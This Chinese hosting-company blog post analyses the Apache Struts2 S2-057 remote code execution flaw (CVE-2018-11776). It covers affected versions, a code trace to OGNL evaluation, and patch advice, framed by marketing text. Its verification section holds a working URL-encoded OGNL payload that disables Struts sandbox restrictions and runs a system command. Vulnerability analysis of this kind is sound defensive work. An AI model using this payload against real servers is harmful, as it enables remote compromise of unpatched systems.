重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
今天就跟大家聊聊有关Apache Struts2 S2-057远程代码执行漏洞实例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
让客户满意是我们工作的目标,不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户,将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴,公司提供的服务项目有:域名申请、雅安服务器托管、营销软件、网站建设、日照网站维护、网站推广。
Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。
它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
CVE-2018-11776
1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
2. 修改配置文件struts-actionchaining.xml
该漏洞有多种攻击向量包括:
2.1 Redirect action
2.2 Action chaining
2.3 Postback result
以第一种为例子,修改配置文件内容为
在DefaultActionMapper这个类的parseNameAndNamespace方法里。
当alwaysSelectFullNamespace被设置为true时,namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
Action执行结束之后,程序会调用ServletActionRedirectResult类中的execute()方法进行重定向Result的解析。
首先,当namespace为空时,调用invocation.getProxy().getNamespace()赋值给变量namespace,然后将变量namespace传入ActionMapping构造函数中。
然后,ActionMapper.getUriFromActionMapping()对ActionMapping后的值进行重组,生成一个URL字符串(包含namespace),并赋值给了tmplocation变量。
紧接着将带有namespace的tmplocation传入了setLocation()方法中。
该方法将tmpLocation值赋值给了StrutsResultSupport类中的location变量。
然后,跟踪super.execute()方法。
继续跟踪ServletActionResult类中的super.execute()。
在StrutsResultSupport类中的execute()方法中,刚刚被赋值的location变量(带有namespace的)被传入了conditionalParse()方法。
最终,通过TextParseUtil.translateVariables()对namespace进行OGNL解析,导致远程代码执行漏洞。
1. 访问url 为/${(111+111)}/actionChain1.action的地址。
访问触发OGNL表达式,url变为/222/register2.action,漏洞存在。
2. payload:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
此payload 仅适用于2.3系列版本。
官方补丁
目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本。
https://struts.apache.org/download.cgi#struts2517
手工修复
修改配置文件:
固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
看完上述内容,你们对Apache Struts2 S2-057远程代码执行漏洞实例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。